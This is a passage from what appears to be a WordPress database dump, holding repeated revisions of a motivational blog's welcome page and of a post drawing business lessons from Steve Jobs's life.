href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-29 17:18:31', '2011-07-30 00:18:31', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-126/', 0, 'revision', '', 0),
(1770, 2, '2011-07-29 17:21:04', '2011-07-30 00:21:04', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\nWelcome to the White Hot Center blog! I''m delighted you have found your way here. First off, the principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around, I suggest you check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my belief success in life always begins with passion and a commitment to pursue any idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. This is where you''ll find your best opportunities waiting for you!\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nI’m fascinated with this process and the discipline it requires to persevere no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and  tactics for personal growth, professional leadership, lifestyle design,  value creation and methods for creating greater demand for your products  and services. Oh yeah making lots of money (getting paid to be you) is  an important part of our conversation!\r\n\r\nFor nearly three decades, I''ve been an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. My whole professional life has been engaged in helping business leaders innovate desired outcomes. Nothing brings me greater joy and fulfillment than sharing my knowledge and expertise to help you create the success you desire.\r\n\r\nI hope you find the ideas presented here useful to your continued success. If you do, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-29 17:21:04', '2011-07-30 00:21:04', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-127/', 0, 'revision', '', 0),
(1771, 2, '2011-07-30 08:43:01', '2011-07-30 15:43:01', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\nWelcome to the White Hot Center blog! I''m delighted you have found your way here. First off, the principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, I suggest you check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my belief success in life begins with passion and a commitment to pursue any idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. This is where you''ll find your best opportunities waiting for you!\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nI’m fascinated with the creative process and the discipline it requires to persevere toward realizing big ideas no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and  tactics for personal growth, professional leadership, lifestyle design,  value creation and methods for creating greater demand for your products  and services. Oh yeah making lots of money doing what really matters to you is  an important part of our conversation!\r\n\r\nI share what I have learned about life success from nearly three decades of being an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. My entire professional life has been engaged in helping business leaders innovate desired outcomes. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nI hope you find the ideas presented here useful to your continued success. If you do, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-30 08:43:01', '2011-07-30 15:43:01', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-128/', 0, 'revision', '', 0),
(1772, 2, '2011-07-30 08:46:23', '2011-07-30 15:46:23', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs at the early stages of their business growth. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.</h2>\r\nWelcome to the White Hot Center blog! I''m delighted you have found your way here. First off, the principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, I suggest you check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my belief success in life begins with passion and a commitment to pursue any idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. This is where you''ll find your best opportunities to create more impact, influence and income!\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nI’m fascinated with the creative process and the discipline it requires to persevere toward realizing big ideas no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and  tactics for personal growth, professional leadership, lifestyle design,  value creation and methods for creating greater demand for your products  and services. Oh yeah making lots of money doing what really matters to you is  an important part of our conversation!\r\n\r\nI share what I have learned about life success from nearly three decades of being an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. My entire professional life has been engaged in helping business leaders innovate desired outcomes. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nI hope you find the ideas presented here useful to your continued success. If you do, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-30 08:46:23', '2011-07-30 15:46:23', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-129/', 0, 'revision', '', 0),
(1774, 2, '2011-10-07 12:56:35', '2011-10-07 19:56:35', '', 'stevejobs', 0, '', 'inherit', 'open', 'open', '', 'stevejobs', '', '', '2011-10-07 12:56:35', '2011-10-07 19:56:35', '', 1773, 'http://www.whitehotcenter.com/wp-content/uploads/2011/10/stevejobs.jpg', 0, 'attachment', 'image/jpeg', 0);
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(1775, 2, '2011-10-07 13:01:57', '2011-10-07 20:01:57', '<h1><img class="alignnone size-full wp-image-1774" title="stevejobs" src="http://whc.fbdev.org/wp-content/uploads/2011/10/stevejobs.jpg" alt="steve jobs" width="482" height="253" /><span style="color: #808080;">In thinking about the passing of Steve Jobs, it’s inspiring to be reminded there is a little Steve in every one of us. The difference is in the decision to pursue a vision that matters with his level of unbridled passion and belief, and once that decision is made, never accept the status quo. This possibility is available to every one of us.</span></h1>\nThere lies the great lesson and legacy gifted to us all by the life of Steve Jobs. No doubt, in the years to come, his incredible accomplishments will become mythic legend. But Steve Jobs was not special. He did not possess anything that is unavailable to any other human being. Perhaps even he would proclaim this.\n\nThere’s a Steve Jobs in each of us. To celebrate his example and his legacy, here are some lessons from his life most noteworthy for our own businesses:\n\n<strong>Think different.</strong>\nThis mantra was the force that gathered all the necessary molecules that formed themselves into the greatest technology business the world has ever known. It’s more than an advertising slogan or a clever brand positioning idea. If you think like and follow the status quo, you’ll never discover the inner voice of your own true genius. More importantly, you must believe in your different thinking. Believing is seeing, not the other way around.\n\n<strong>Be curious.\n</strong>The key to innovation and business growth is curiousity. You have to appreciate and practice the discipline of being curious, asking questions, and questioning the answers that come up. To be innovative requires you bring things into the world that no one is asking for, but once realized, become the very things the world was waiting for. No one was asking for an iPad, now millions can’t live without it.\n\n<strong>Fail forward.</strong>\nThere is no such thing as failure. Failure is an idea you mentally buy into and then accept as a permanent circumstance. There are no permanent circumstances in the universe. There is only learning, growth and accomplishment. Everyone creates undesired results when they are creating anything. It is the nature of the creative process. Use your “failures” for your growth and expansion.\n\n<strong>Put your own “dent in the universe”.</strong>\nThis now famous Jobs expression can apply to everyone.  To do it, you have to give a shit about something that is deeply important to you and makes a big difference to others. Thinking differently has the natural effect of making a difference. Doing what matters to you–really matters–is how you make a difference and dent the universe.\n\n<strong> </strong>\n\n<strong> </strong>\n\n<strong> </strong>\n\n<strong>Don’t settle for good enough.</strong>\nIt’s easy to say something is good enough and then get it out the door. Lots of big and small businesses operate with this mentality. Take the money and run. But you’ll never be able to command premium prices when you settle for good enough. Today everything is good enough. Good enough=the same!\n\n<strong>Perfection is the enemy.</strong>\nAt some point in time, you have to get it out there. This means you have to “release” it to the world and learn from the feedback of the marketplace guiding you make your stuff better and better. Constant improvement, learning, tweaking and enhancing your products is how you grow. Nothing will be perfect–ever!  Not even the iPhone.\n\n<strong>Seek beauty and express it with simplicity.</strong>\nPeople love simple. Simple is always beautiful. Nothing simple is easy. It takes discernment to strip away the un-necessary and get to simplicity. If you make a product, make it beautiful, simple to understand and use. If you deliver a service, do so with humility, elegance and grace.\n\n<strong>Command a premium price.</strong>\nThe key to premium pricing lies in this timeless principle: provide more “use value” than you receive in “cash value”.  Think about this for a moment. When your customers value their experience with your product/service more than they value the money they exchange, you will never become a commodity.  Your products and services will be a badge of higher meaning and greater value. There must be a deep emotional connection between the product and the customer–far more important than its features or user benefits.\n\n<strong>Of course, not everyone will become a Steve Jobs. For those who consider these ideas,  it’s not impossible to create on the level of a Steve Jobs. His legacy may be the way he demonstrated just how possible the impossible really is. And for that, we should be grateful to him.  Thank you Steve Jobs for lighting the way.</strong>', 'There’s a little Steve Jobs in every one of us.', 0, '', 'inherit', 'open', 'open', '', '1773-revision', '', '', '2011-10-07 13:01:57', '2011-10-07 20:01:57', '', 1773, 'http://www.whitehotcenter.com/uncategorized/1773-revision/', 0, 'revision', '', 0),
(1780, 2, '2011-10-07 13:09:37', '2011-10-07 20:09:37', '<h1><img class="alignnone size-full wp-image-1774" title="stevejobs" src="http://whc.fbdev.org/wp-content/uploads/2011/10/stevejobs.jpg" alt="steve jobs" width="482" height="253" /><span style="color: #808080;">In thinking about the passing of Steve Jobs, it’s inspiring to be reminded there''s a little Steve in every one of us. All it takes is a personal decision to pursue a vision that matters to you with his level of unbridled passion and belief. And once that decision is made, never accept the status quo.\r\n</span></h1>\r\nThere is a great lesson and legacy gifted to us all by the life of Steve Jobs. No doubt, in the years to come, his incredible accomplishments will become mythic legend. But Steve Jobs was not special. He did not possess anything that is unavailable to any other human being. Perhaps even he would proclaim this.\r\n\r\nThere’s a Steve Jobs in each of us. To celebrate his example and his legacy, here are some lessons from his life most noteworthy for our own businesses:\r\n\r\n<strong>Think different.</strong>\r\nThis mantra was the force that gathered all the necessary molecules that formed themselves into the greatest technology business the world has ever known. It’s more than an advertising slogan or a clever brand positioning idea. If you think like and follow the status quo, you’ll never discover the inner voice of your own true genius. More importantly, you must believe in your different thinking. Believing is seeing, not the other way around.\r\n\r\n<strong>Be curious.\r\n</strong>The key to innovation and business growth is curiousity. You have to appreciate and practice the discipline of being curious, asking questions, and questioning the answers that come up. To be innovative requires you bring things into the world that no one is asking for, but once realized, become the very things the world was waiting for. No one was asking for an iPad, now millions can’t live without it.\r\n\r\n<strong>Fail forward.</strong>\r\nThere is no such thing as failure. Failure is an idea you mentally buy into and then accept as a permanent circumstance. There are no permanent circumstances in the universe. There is only learning, growth and accomplishment. Everyone creates undesired results when they are creating anything. It is the nature of the creative process. Use your “failures” for your growth and expansion.\r\n\r\n<strong>Put your own “dent in the universe”.</strong>\r\nThis now famous Jobs expression can apply to everyone.  To do it, you have to give a shit about something that is deeply important to you and makes a big difference to others. Thinking differently has the natural effect of making a difference. Doing what matters to you–really matters–is how you make a difference and dent the universe.\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Don’t settle for good enough.</strong>\r\nIt’s easy to say something is good enough and then get it out the door. Lots of big and small businesses operate with this mentality. Take the money and run. But you’ll never be able to command premium prices when you settle for good enough. Today everything is good enough. Good enough=the same!\r\n\r\n<strong>Perfection is the enemy.</strong>\r\nAt some point in time, you have to get it out there. This means you have to “release” it to the world and learn from the feedback of the marketplace guiding you make your stuff better and better. Constant improvement, learning, tweaking and enhancing your products is how you grow. Nothing will be perfect–ever!  Not even the iPhone.\r\n\r\n<strong>Seek beauty and express it with simplicity.</strong>\r\nPeople love simple. Simple is always beautiful. Nothing simple is easy. It takes discernment to strip away the un-necessary and get to simplicity. If you make a product, make it beautiful, simple to understand and use. If you deliver a service, do so with humility, elegance and grace.\r\n\r\n<strong>Command a premium price.</strong>\r\nThe key to premium pricing lies in this timeless principle: provide more “use value” than you receive in “cash value”.  Think about this for a moment. When your customers value their experience with your product/service more than they value the money they exchange, you will never become a commodity.  Your products and services will be a badge of higher meaning and greater value. There must be a deep emotional connection between the product and the customer–far more important than its features or user benefits.\r\n\r\n<strong>Of course, not everyone will become a Steve Jobs. For those who consider these ideas,  it’s not impossible to create on the level of a Steve Jobs. His legacy may be the way he demonstrated just how possible the impossible really is. And for that, we should be grateful to him.  Thank you Steve Jobs for lighting the way.</strong>', 'There’s a little Steve Jobs in every one of us.', 0, '', 'inherit', 'open', 'open', '', '1773-revision-6', '', '', '2011-10-07 13:09:37', '2011-10-07 20:09:37', '', 1773, 'http://www.whitehotcenter.com/uncategorized/1773-revision-6/', 0, 'revision', '', 0),
(1776, 2, '2011-10-07 13:02:00', '2011-10-07 20:02:00', '<h1><img class="alignnone size-full wp-image-1774" title="stevejobs" src="http://whc.fbdev.org/wp-content/uploads/2011/10/stevejobs.jpg" alt="steve jobs" width="482" height="253" /><span style="color: #808080;">In thinking about the passing of Steve Jobs, it’s inspiring to be reminded there is a little Steve in every one of us. The difference is in the decision to pursue a vision that matters with his level of unbridled passion and belief, and once that decision is made, never accept the status quo. This possibility is available to every one of us.</span></h1>\r\nThere lies the great lesson and legacy gifted to us all by the life of Steve Jobs. No doubt, in the years to come, his incredible accomplishments will become mythic legend. But Steve Jobs was not special. He did not possess anything that is unavailable to any other human being. Perhaps even he would proclaim this.\r\n\r\nThere’s a Steve Jobs in each of us. To celebrate his example and his legacy, here are some lessons from his life most noteworthy for our own businesses:\r\n\r\n<strong>Think different.</strong>\r\nThis mantra was the force that gathered all the necessary molecules that formed themselves into the greatest technology business the world has ever known. It’s more than an advertising slogan or a clever brand positioning idea. If you think like and follow the status quo, you’ll never discover the inner voice of your own true genius. More importantly, you must believe in your different thinking. Believing is seeing, not the other way around.\r\n\r\n<strong>Be curious.\r\n</strong>The key to innovation and business growth is curiousity. You have to appreciate and practice the discipline of being curious, asking questions, and questioning the answers that come up. To be innovative requires you bring things into the world that no one is asking for, but once realized, become the very things the world was waiting for. No one was asking for an iPad, now millions can’t live without it.\r\n\r\n<strong>Fail forward.</strong>\r\nThere is no such thing as failure. Failure is an idea you mentally buy into and then accept as a permanent circumstance. There are no permanent circumstances in the universe. There is only learning, growth and accomplishment. Everyone creates undesired results when they are creating anything. It is the nature of the creative process. Use your “failures” for your growth and expansion.\r\n\r\n<strong>Put your own “dent in the universe”.</strong>\r\nThis now famous Jobs expression can apply to everyone.  To do it, you have to give a shit about something that is deeply important to you and makes a big difference to others. Thinking differently has the natural effect of making a difference. Doing what matters to you–really matters–is how you make a difference and dent the universe.\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Don’t settle for good enough.</strong>\r\nIt’s easy to say something is good enough and then get it out the door. Lots of big and small businesses operate with this mentality. Take the money and run. But you’ll never be able to command premium prices when you settle for good enough. Today everything is good enough. Good enough=the same!\r\n\r\n<strong>Perfection is the enemy.</strong>\r\nAt some point in time, you have to get it out there. This means you have to “release” it to the world and learn from the feedback of the marketplace guiding you make your stuff better and better. Constant improvement, learning, tweaking and enhancing your products is how you grow. Nothing will be perfect–ever!  Not even the iPhone.\r\n\r\n<strong>Seek beauty and express it with simplicity.</strong>\r\nPeople love simple. Simple is always beautiful. Nothing simple is easy. It takes discernment to strip away the un-necessary and get to simplicity. If you make a product, make it beautiful, simple to understand and use. If you deliver a service, do so with humility, elegance and grace.\r\n\r\n<strong>Command a premium price.</strong>\r\nThe key to premium pricing lies in this timeless principle: provide more “use value” than you receive in “cash value”.  Think about this for a moment. When your customers value their experience with your product/service more than they value the money they exchange, you will never become a commodity.  Your products and services will be a badge of higher meaning and greater value. There must be a deep emotional connection between the product and the customer–far more important than its features or user benefits.\r\n\r\n<strong>Of course, not everyone will become a Steve Jobs. For those who consider these ideas,  it’s not impossible to create on the level of a Steve Jobs. His legacy may be the way he demonstrated just how possible the impossible really is. And for that, we should be grateful to him.  Thank you Steve Jobs for lighting the way.</strong>', 'There’s a little Steve Jobs in every one of us.', 0, '', 'inherit', 'open', 'open', '', '1773-revision-2', '', '', '2011-10-07 13:02:00', '2011-10-07 20:02:00', '', 1773, 'http://www.whitehotcenter.com/uncategorized/1773-revision-2/', 0, 'revision', '', 0),
(1777, 2, '2011-10-07 13:02:10', '2011-10-07 20:02:10', '<h1><img class="alignnone size-full wp-image-1774" title="stevejobs" src="http://whc.fbdev.org/wp-content/uploads/2011/10/stevejobs.jpg" alt="steve jobs" width="482" height="253" /><span style="color: #808080;">In thinking about the passing of Steve Jobs, it’s inspiring to be reminded there is a little Steve in every one of us. The difference is in the decision to pursue a vision that matters with his level of unbridled passion and belief, and once that decision is made, never accept the status quo. This possibility is available to every one of us.</span></h1>\r\nThere lies the great lesson and legacy gifted to us all by the life of Steve Jobs. No doubt, in the years to come, his incredible accomplishments will become mythic legend. But Steve Jobs was not special. He did not possess anything that is unavailable to any other human being. Perhaps even he would proclaim this.\r\n\r\nThere’s a Steve Jobs in each of us. To celebrate his example and his legacy, here are some lessons from his life most noteworthy for our own businesses:\r\n\r\n<strong>Think different.</strong>\r\nThis mantra was the force that gathered all the necessary molecules that formed themselves into the greatest technology business the world has ever known. It’s more than an advertising slogan or a clever brand positioning idea. If you think like and follow the status quo, you’ll never discover the inner voice of your own true genius. More importantly, you must believe in your different thinking. Believing is seeing, not the other way around.\r\n\r\n<strong>Be curious.\r\n</strong>The key to innovation and business growth is curiousity. You have to appreciate and practice the discipline of being curious, asking questions, and questioning the answers that come up. To be innovative requires you bring things into the world that no one is asking for, but once realized, become the very things the world was waiting for. No one was asking for an iPad, now millions can’t live without it.\r\n\r\n<strong>Fail forward.</strong>\r\nThere is no such thing as failure. Failure is an idea you mentally buy into and then accept as a permanent circumstance. There are no permanent circumstances in the universe. There is only learning, growth and accomplishment. Everyone creates undesired results when they are creating anything. It is the nature of the creative process. Use your “failures” for your growth and expansion.\r\n\r\n<strong>Put your own “dent in the universe”.</strong>\r\nThis now famous Jobs expression can apply to everyone.  To do it, you have to give a shit about something that is deeply important to you and makes a big difference to others. Thinking differently has the natural effect of making a difference. Doing what matters to you–really matters–is how you make a difference and dent the universe.\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Don’t settle for good enough.</strong>\r\nIt’s easy to say something is good enough and then get it out the door. Lots of big and small businesses operate with this mentality. Take the money and run. But you’ll never be able to command premium prices when you settle for good enough. Today everything is good enough. Good enough=the same!\r\n\r\n<strong>Perfection is the enemy.</strong>\r\nAt some point in time, you have to get it out there. This means you have to “release” it to the world and learn from the feedback of the marketplace guiding you make your stuff better and better. Constant improvement, learning, tweaking and enhancing your products is how you grow. Nothing will be perfect–ever!  Not even the iPhone.\r\n\r\n<strong>Seek beauty and express it with simplicity.</strong>\r\nPeople love simple. Simple is always beautiful. Nothing simple is easy. It takes discernment to strip away the un-necessary and get to simplicity. If you make a product, make it beautiful, simple to understand and use. If you deliver a service, do so with humility, elegance and grace.\r\n\r\n<strong>Command a premium price.</strong>\r\nThe key to premium pricing lies in this timeless principle: provide more “use value” than you receive in “cash value”.  Think about this for a moment. When your customers value their experience with your product/service more than they value the money they exchange, you will never become a commodity.  Your products and services will be a badge of higher meaning and greater value. There must be a deep emotional connection between the product and the customer–far more important than its features or user benefits.\r\n\r\n<strong>Of course, not everyone will become a Steve Jobs. For those who consider these ideas,  it’s not impossible to create on the level of a Steve Jobs. His legacy may be the way he demonstrated just how possible the impossible really is. And for that, we should be grateful to him.  Thank you Steve Jobs for lighting the way.</strong>', 'There’s a little Steve Jobs in every one of us.', 0, '', 'inherit', 'open', 'open', '', '1773-revision-3', '', '', '2011-10-07 13:02:10', '2011-10-07 20:02:10', '', 1773, 'http://www.whitehotcenter.com/uncategorized/1773-revision-3/', 0, 'revision', '', 0),
(1778, 2, '2011-10-07 13:08:37', '2011-10-07 20:08:37', '<h1><img class="alignnone size-full wp-image-1774" title="stevejobs" src="http://whc.fbdev.org/wp-content/uploads/2011/10/stevejobs.jpg" alt="steve jobs" width="482" height="253" /><span style="color: #808080;">In thinking about the passing of Steve Jobs, it’s inspiring to be reminded there''s a little Steve in every one of us. All it takes is a personal decision to pursue a vision that matters to you with his level of unbridled passion and belief. And once that decision is made, never accept the status quo. This possibility is available to every one of us.</span></h1>\r\nThere is a great lesson and legacy gifted to us all by the life of Steve Jobs. No doubt, in the years to come, his incredible accomplishments will become mythic legend. But Steve Jobs was not special. He did not possess anything that is unavailable to any other human being. Perhaps even he would proclaim this.\r\n\r\nThere’s a Steve Jobs in each of us. To celebrate his example and his legacy, here are some lessons from his life most noteworthy for our own businesses:\r\n\r\n<strong>Think different.</strong>\r\nThis mantra was the force that gathered all the necessary molecules that formed themselves into the greatest technology business the world has ever known. It’s more than an advertising slogan or a clever brand positioning idea. If you think like and follow the status quo, you’ll never discover the inner voice of your own true genius. More importantly, you must believe in your different thinking. Believing is seeing, not the other way around.\r\n\r\n<strong>Be curious.\r\n</strong>The key to innovation and business growth is curiousity. You have to appreciate and practice the discipline of being curious, asking questions, and questioning the answers that come up. To be innovative requires you bring things into the world that no one is asking for, but once realized, become the very things the world was waiting for. No one was asking for an iPad, now millions can’t live without it.\r\n\r\n<strong>Fail forward.</strong>\r\nThere is no such thing as failure. Failure is an idea you mentally buy into and then accept as a permanent circumstance. There are no permanent circumstances in the universe. There is only learning, growth and accomplishment. Everyone creates undesired results when they are creating anything. It is the nature of the creative process. Use your “failures” for your growth and expansion.\r\n\r\n<strong>Put your own “dent in the universe”.</strong>\r\nThis now famous Jobs expression can apply to everyone.  To do it, you have to give a shit about something that is deeply important to you and makes a big difference to others. Thinking differently has the natural effect of making a difference. Doing what matters to you–really matters–is how you make a difference and dent the universe.\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Don’t settle for good enough.</strong>\r\nIt’s easy to say something is good enough and then get it out the door. Lots of big and small businesses operate with this mentality. Take the money and run. But you’ll never be able to command premium prices when you settle for good enough. Today everything is good enough. Good enough=the same!\r\n\r\n<strong>Perfection is the enemy.</strong>\r\nAt some point in time, you have to get it out there. This means you have to “release” it to the world and learn from the feedback of the marketplace guiding you make your stuff better and better. Constant improvement, learning, tweaking and enhancing your products is how you grow. Nothing will be perfect–ever!  Not even the iPhone.\r\n\r\n<strong>Seek beauty and express it with simplicity.</strong>\r\nPeople love simple. Simple is always beautiful. Nothing simple is easy. It takes discernment to strip away the un-necessary and get to simplicity. If you make a product, make it beautiful, simple to understand and use. If you deliver a service, do so with humility, elegance and grace.\r\n\r\n<strong>Command a premium price.</strong>\r\nThe key to premium pricing lies in this timeless principle: provide more “use value” than you receive in “cash value”.  Think about this for a moment. When your customers value their experience with your product/service more than they value the money they exchange, you will never become a commodity.  Your products and services will be a badge of higher meaning and greater value. There must be a deep emotional connection between the product and the customer–far more important than its features or user benefits.\r\n\r\n<strong>Of course, not everyone will become a Steve Jobs. For those who consider these ideas,  it’s not impossible to create on the level of a Steve Jobs. His legacy may be the way he demonstrated just how possible the impossible really is. And for that, we should be grateful to him.  Thank you Steve Jobs for lighting the way.</strong>', 'There’s a little Steve Jobs in every one of us.', 0, '', 'inherit', 'open', 'open', '', '1773-revision-4', '', '', '2011-10-07 13:08:37', '2011-10-07 20:08:37', '', 1773, 'http://www.whitehotcenter.com/uncategorized/1773-revision-4/', 0, 'revision', '', 0),
(1779, 2, '2011-10-07 13:08:45', '2011-10-07 20:08:45', '<h1><img class="alignnone size-full wp-image-1774" title="stevejobs" src="http://whc.fbdev.org/wp-content/uploads/2011/10/stevejobs.jpg" alt="steve jobs" width="482" height="253" /><span style="color: #808080;">In thinking about the passing of Steve Jobs, it’s inspiring to be reminded there''s a little Steve in every one of us. All it takes is a personal decision to pursue a vision that matters to you with his level of unbridled passion and belief. And once that decision is made, never accept the status quo. This possibility is available to every one of us.</span></h1>\r\nThere is a great lesson and legacy gifted to us all by the life of Steve Jobs. No doubt, in the years to come, his incredible accomplishments will become mythic legend. But Steve Jobs was not special. He did not possess anything that is unavailable to any other human being. Perhaps even he would proclaim this.\r\n\r\nThere’s a Steve Jobs in each of us. To celebrate his example and his legacy, here are some lessons from his life most noteworthy for our own businesses:\r\n\r\n<strong>Think different.</strong>\r\nThis mantra was the force that gathered all the necessary molecules that formed themselves into the greatest technology business the world has ever known. It’s more than an advertising slogan or a clever brand positioning idea. If you think like and follow the status quo, you’ll never discover the inner voice of your own true genius. More importantly, you must believe in your different thinking. Believing is seeing, not the other way around.\r\n\r\n<strong>Be curious.\r\n</strong>The key to innovation and business growth is curiousity. You have to appreciate and practice the discipline of being curious, asking questions, and questioning the answers that come up. To be innovative requires you bring things into the world that no one is asking for, but once realized, become the very things the world was waiting for. No one was asking for an iPad, now millions can’t live without it.\r\n\r\n<strong>Fail forward.</strong>\r\nThere is no such thing as failure. Failure is an idea you mentally buy into and then accept as a permanent circumstance. There are no permanent circumstances in the universe. There is only learning, growth and accomplishment. Everyone creates undesired results when they are creating anything. It is the nature of the creative process. Use your “failures” for your growth and expansion.\r\n\r\n<strong>Put your own “dent in the universe”.</strong>\r\nThis now famous Jobs expression can apply to everyone.  To do it, you have to give a shit about something that is deeply important to you and makes a big difference to others. Thinking differently has the natural effect of making a difference. Doing what matters to you–really matters–is how you make a difference and dent the 